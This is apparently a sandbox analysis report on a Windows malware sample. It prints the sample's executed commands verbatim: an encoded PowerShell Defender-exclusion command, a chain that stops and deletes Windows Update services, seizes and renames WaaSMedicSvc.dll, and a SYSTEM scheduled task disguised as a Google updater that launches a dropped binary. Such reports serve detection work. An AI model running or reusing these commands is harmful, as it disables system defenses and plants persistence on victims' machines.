465b187a795c015825c5a0a1791d1587a90079759b0f418ff5ea6afc44dd68d0

General

Target

465b187a795c015825c5a0a1791d1587a90079759b0f418ff5ea6afc44dd68d0.exe
Size

2.0MB
MD5

79dbc1a54d33366681f1e926d565cad4
SHA1

907cf0ec6784bf140f9759d6931d3697da0fc229
SHA256

465b187a795c015825c5a0a1791d1587a90079759b0f418ff5ea6afc44dd68d0
SHA512

6d66ae7edc6028e8bc1eac9caf85f5d2d38a6c000e5fa907c9eec5786b225aeeb7c0b565bee9aa7b09f6f792d0857e3d06f0e3ed832d73047506a18ce15371dd

Score

10^/10

discovery evasion exploit

Malware Config

Signatures

Modifies security service 2 TTPs 2 IoCs

evasion

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

reg.exe

description	ioc	process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Security	reg.exe

Possible privilege escalation attempt 2 IoCs
exploit

Processes:

takeown.exeicacls.exe

pid process

1244 takeown.exe
1980 icacls.exe
Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489
Modifies file permissions 1 TTPs 2 IoCs
discovery

File Permissions Modification
T1222

Processes:

takeown.exeicacls.exe

pid process

1244 takeown.exe
1980 icacls.exe

pid	process
1244	takeown.exe
1980	icacls.exe

pid	process
1244	takeown.exe
1980	icacls.exe

Drops file in System32 directory 1 IoCs

Processes:

powershell.exe

description	ioc	process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Drops file in Program Files directory 2 IoCs

Processes:

conhost.exe

description	ioc	process
File created	C:\Program Files\Windows\services.exe	conhost.exe
File opened for modification	C:\Program Files\Windows\services.exe	conhost.exe

Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

1500 schtasks.exe
Modifies registry key 1 TTPs 9 IoCs

Modify Registry
T1112

Processes:

reg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exe

pid process

916 reg.exe
1224 reg.exe
1676 reg.exe
1664 reg.exe
432 reg.exe
560 reg.exe
1088 reg.exe
1016 reg.exe
976 reg.exe
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.execonhost.exe

pid process

1600 powershell.exe
1212 conhost.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.execonhost.exetakeown.exe

description pid process

Token: SeDebugPrivilege 1600 powershell.exe
Token: SeDebugPrivilege 1212 conhost.exe
Token: SeTakeOwnershipPrivilege 1244 takeown.exe

pid	process
1500	schtasks.exe

pid	process
916	reg.exe
1224	reg.exe
1676	reg.exe
1664	reg.exe
432	reg.exe
560	reg.exe
1088	reg.exe
1016	reg.exe
976	reg.exe

pid	process
1600	powershell.exe
1212	conhost.exe

description	pid	process
Token: SeDebugPrivilege	1600	powershell.exe
Token: SeDebugPrivilege	1212	conhost.exe
Token: SeTakeOwnershipPrivilege	1244	takeown.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

465b187a795c015825c5a0a1791d1587a90079759b0f418ff5ea6afc44dd68d0.execonhost.execmd.execmd.execmd.exe

description	pid	process	target process
PID 556 wrote to memory of 1212	556	465b187a795c015825c5a0a1791d1587a90079759b0f418ff5ea6afc44dd68d0.exe	conhost.exe
PID 556 wrote to memory of 1212	556	465b187a795c015825c5a0a1791d1587a90079759b0f418ff5ea6afc44dd68d0.exe	conhost.exe
PID 556 wrote to memory of 1212	556	465b187a795c015825c5a0a1791d1587a90079759b0f418ff5ea6afc44dd68d0.exe	conhost.exe
PID 556 wrote to memory of 1212	556	465b187a795c015825c5a0a1791d1587a90079759b0f418ff5ea6afc44dd68d0.exe	conhost.exe
PID 1212 wrote to memory of 956	1212	conhost.exe	cmd.exe
PID 1212 wrote to memory of 956	1212	conhost.exe	cmd.exe
PID 1212 wrote to memory of 956	1212	conhost.exe	cmd.exe
PID 956 wrote to memory of 1600	956	cmd.exe	powershell.exe
PID 956 wrote to memory of 1600	956	cmd.exe	powershell.exe
PID 956 wrote to memory of 1600	956	cmd.exe	powershell.exe
PID 1212 wrote to memory of 1516	1212	conhost.exe	cmd.exe
PID 1212 wrote to memory of 1516	1212	conhost.exe	cmd.exe
PID 1212 wrote to memory of 1516	1212	conhost.exe	cmd.exe
PID 1516 wrote to memory of 1492	1516	cmd.exe	sc.exe
PID 1516 wrote to memory of 1492	1516	cmd.exe	sc.exe
PID 1516 wrote to memory of 1492	1516	cmd.exe	sc.exe
PID 1516 wrote to memory of 576	1516	cmd.exe	sc.exe
PID 1516 wrote to memory of 576	1516	cmd.exe	sc.exe
PID 1516 wrote to memory of 576	1516	cmd.exe	sc.exe
PID 1516 wrote to memory of 568	1516	cmd.exe	sc.exe
PID 1516 wrote to memory of 568	1516	cmd.exe	sc.exe
PID 1516 wrote to memory of 568	1516	cmd.exe	sc.exe
PID 1516 wrote to memory of 1888	1516	cmd.exe	sc.exe
PID 1516 wrote to memory of 1888	1516	cmd.exe	sc.exe
PID 1516 wrote to memory of 1888	1516	cmd.exe	sc.exe
PID 1516 wrote to memory of 324	1516	cmd.exe	sc.exe
PID 1516 wrote to memory of 324	1516	cmd.exe	sc.exe
PID 1516 wrote to memory of 324	1516	cmd.exe	sc.exe
PID 1516 wrote to memory of 916	1516	cmd.exe	reg.exe
PID 1516 wrote to memory of 916	1516	cmd.exe	reg.exe
PID 1516 wrote to memory of 916	1516	cmd.exe	reg.exe
PID 1516 wrote to memory of 432	1516	cmd.exe	reg.exe
PID 1516 wrote to memory of 432	1516	cmd.exe	reg.exe
PID 1516 wrote to memory of 432	1516	cmd.exe	reg.exe
PID 1516 wrote to memory of 1224	1516	cmd.exe	reg.exe
PID 1516 wrote to memory of 1224	1516	cmd.exe	reg.exe
PID 1516 wrote to memory of 1224	1516	cmd.exe	reg.exe
PID 1516 wrote to memory of 1676	1516	cmd.exe	reg.exe
PID 1516 wrote to memory of 1676	1516	cmd.exe	reg.exe
PID 1516 wrote to memory of 1676	1516	cmd.exe	reg.exe
PID 1516 wrote to memory of 560	1516	cmd.exe	reg.exe
PID 1516 wrote to memory of 560	1516	cmd.exe	reg.exe
PID 1516 wrote to memory of 560	1516	cmd.exe	reg.exe
PID 1212 wrote to memory of 660	1212	conhost.exe	cmd.exe
PID 1212 wrote to memory of 660	1212	conhost.exe	cmd.exe
PID 1212 wrote to memory of 660	1212	conhost.exe	cmd.exe
PID 1516 wrote to memory of 1244	1516	cmd.exe	takeown.exe
PID 1516 wrote to memory of 1244	1516	cmd.exe	takeown.exe
PID 1516 wrote to memory of 1244	1516	cmd.exe	takeown.exe
PID 1516 wrote to memory of 1980	1516	cmd.exe	icacls.exe
PID 1516 wrote to memory of 1980	1516	cmd.exe	icacls.exe
PID 1516 wrote to memory of 1980	1516	cmd.exe	icacls.exe
PID 660 wrote to memory of 1500	660	cmd.exe	schtasks.exe
PID 660 wrote to memory of 1500	660	cmd.exe	schtasks.exe
PID 660 wrote to memory of 1500	660	cmd.exe	schtasks.exe
PID 1516 wrote to memory of 1664	1516	cmd.exe	reg.exe
PID 1516 wrote to memory of 1664	1516	cmd.exe	reg.exe
PID 1516 wrote to memory of 1664	1516	cmd.exe	reg.exe
PID 1516 wrote to memory of 1088	1516	cmd.exe	reg.exe
PID 1516 wrote to memory of 1088	1516	cmd.exe	reg.exe
PID 1516 wrote to memory of 1088	1516	cmd.exe	reg.exe
PID 1516 wrote to memory of 1016	1516	cmd.exe	reg.exe
PID 1516 wrote to memory of 1016	1516	cmd.exe	reg.exe
PID 1516 wrote to memory of 1016	1516	cmd.exe	reg.exe

C:\Users\Admin\AppData\Local\Temp\465b187a795c015825c5a0a1791d1587a90079759b0f418ff5ea6afc44dd68d0.exe
"C:\Users\Admin\AppData\Local\Temp\465b187a795c015825c5a0a1791d1587a90079759b0f418ff5ea6afc44dd68d0.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:556

C:\Windows\System32\conhost.exe
"C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\465b187a795c015825c5a0a1791d1587a90079759b0f418ff5ea6afc44dd68d0.exe"
2⤵
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1212

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" cmd /c powershell -EncodedCommand "PAAjAGgAdAAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGMAcQAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABAACgAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAsACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgADwAIwBsAHEAdgBqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHoAaABmACMAPgA="
3⤵
- Suspicious use of WriteProcessMemory
PID:956

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -EncodedCommand "PAAjAGgAdAAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGMAcQAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABAACgAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAsACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgADwAIwBsAHEAdgBqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHoAaABmACMAPgA="
4⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1600

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
3⤵
- Suspicious use of WriteProcessMemory
PID:1516

C:\Windows\system32\sc.exe
sc stop UsoSvc
4⤵
PID:1492

C:\Windows\system32\sc.exe
sc stop WaaSMedicSvc
4⤵
PID:576

C:\Windows\system32\sc.exe
sc stop wuauserv
4⤵
PID:568

C:\Windows\system32\sc.exe
sc stop bits
4⤵
PID:1888

C:\Windows\system32\sc.exe
sc stop dosvc
4⤵
PID:324

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f
4⤵
- Modifies registry key
PID:916

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f
4⤵
- Modifies registry key
PID:432

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f
4⤵
- Modifies security service
- Modifies registry key
PID:1224

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f
4⤵
- Modifies registry key
PID:1676

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f
4⤵
- Modifies registry key
PID:560

C:\Windows\system32\takeown.exe
takeown /f C:\Windows\System32\WaaSMedicSvc.dll
4⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:1244

C:\Windows\system32\icacls.exe
icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1980

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f
4⤵
- Modifies registry key
PID:1664

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f
4⤵
- Modifies registry key
PID:1088

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f
4⤵
- Modifies registry key
PID:1016

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f
4⤵
- Modifies registry key
PID:976

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE
4⤵
PID:1332

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE
4⤵
PID:1264

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE
4⤵
PID:1588

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE
4⤵
PID:1032

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE
4⤵
PID:1748

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE
4⤵
PID:1668

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
4⤵
PID:908

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" cmd /c schtasks /create /f /sc onlogon /rl highest /ru "System" /tn "GoogleUpdateTaskMachineQC" /tr "C:\Program Files\Windows\services.exe"
3⤵
- Suspicious use of WriteProcessMemory
PID:660

C:\Windows\system32\schtasks.exe
schtasks /create /f /sc onlogon /rl highest /ru "System" /tn "GoogleUpdateTaskMachineQC" /tr "C:\Program Files\Windows\services.exe"
4⤵
- Creates scheduled task(s)
PID:1500

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" cmd /c schtasks /run /tn "GoogleUpdateTaskMachineQC"
3⤵
PID:1536

C:\Windows\system32\schtasks.exe
schtasks /run /tn "GoogleUpdateTaskMachineQC"
4⤵
PID:1528

C:\Windows\system32\taskeng.exe
taskeng.exe {CB625C29-8ADB-4FED-8569-4069FE6D00AF} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
PID:1604

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

1

T1053

Persistence

Modify Existing Service

2

T1031

Scheduled Task

1

T1053

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Modify Registry

2

T1112

Impair Defenses

1

T1562

File Permissions Modification

1

T1222

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Service Stop

1

T1489

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Downloads

memory/324-69-0x0000000000000000-mapping.dmp

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memory/432-71-0x0000000000000000-mapping.dmp

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memory/560-74-0x0000000000000000-mapping.dmp

Download
memory/568-67-0x0000000000000000-mapping.dmp

Download
memory/576-66-0x0000000000000000-mapping.dmp

Download
memory/660-75-0x0000000000000000-mapping.dmp

Download
memory/908-89-0x0000000000000000-mapping.dmp

Download
memory/916-70-0x0000000000000000-mapping.dmp

Download
memory/956-56-0x0000000000000000-mapping.dmp

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memory/976-82-0x0000000000000000-mapping.dmp

Download
memory/1016-81-0x0000000000000000-mapping.dmp

Download
memory/1032-86-0x0000000000000000-mapping.dmp

Download
memory/1088-80-0x0000000000000000-mapping.dmp

Download
memory/1212-61-0x0000000000200000-0x00000000003DD000-memory.dmp

Filesize
1.9MB

Download
memory/1212-54-0x000000001B220000-0x000000001B3FC000-memory.dmp

Filesize
1.9MB

Download
memory/1212-55-0x000007FEFBCB1000-0x000007FEFBCB3000-memory.dmp

Filesize
8KB

Download
memory/1224-72-0x0000000000000000-mapping.dmp

Download
memory/1244-76-0x0000000000000000-mapping.dmp

Download
memory/1264-84-0x0000000000000000-mapping.dmp

Download
memory/1332-83-0x0000000000000000-mapping.dmp

Download
memory/1492-65-0x0000000000000000-mapping.dmp

Download
memory/1500-78-0x0000000000000000-mapping.dmp

Download
memory/1516-64-0x0000000000000000-mapping.dmp

Download
memory/1528-91-0x0000000000000000-mapping.dmp

Download
memory/1536-90-0x0000000000000000-mapping.dmp

Download
memory/1588-85-0x0000000000000000-mapping.dmp

Download
memory/1600-57-0x0000000000000000-mapping.dmp

Download
memory/1600-63-0x000000000256B000-0x000000000258A000-memory.dmp

Filesize
124KB

Download
memory/1600-60-0x000000001B710000-0x000000001BA0F000-memory.dmp

Filesize
3.0MB

Download
memory/1600-62-0x0000000002564000-0x0000000002567000-memory.dmp

Filesize
12KB

Download
memory/1600-59-0x000007FEED2D0000-0x000007FEEDE2D000-memory.dmp

Filesize
11.4MB

Download
memory/1664-79-0x0000000000000000-mapping.dmp

Download
memory/1668-88-0x0000000000000000-mapping.dmp

Download
memory/1676-73-0x0000000000000000-mapping.dmp

Download
memory/1748-87-0x0000000000000000-mapping.dmp

Download
memory/1888-68-0x0000000000000000-mapping.dmp

Download
memory/1980-77-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads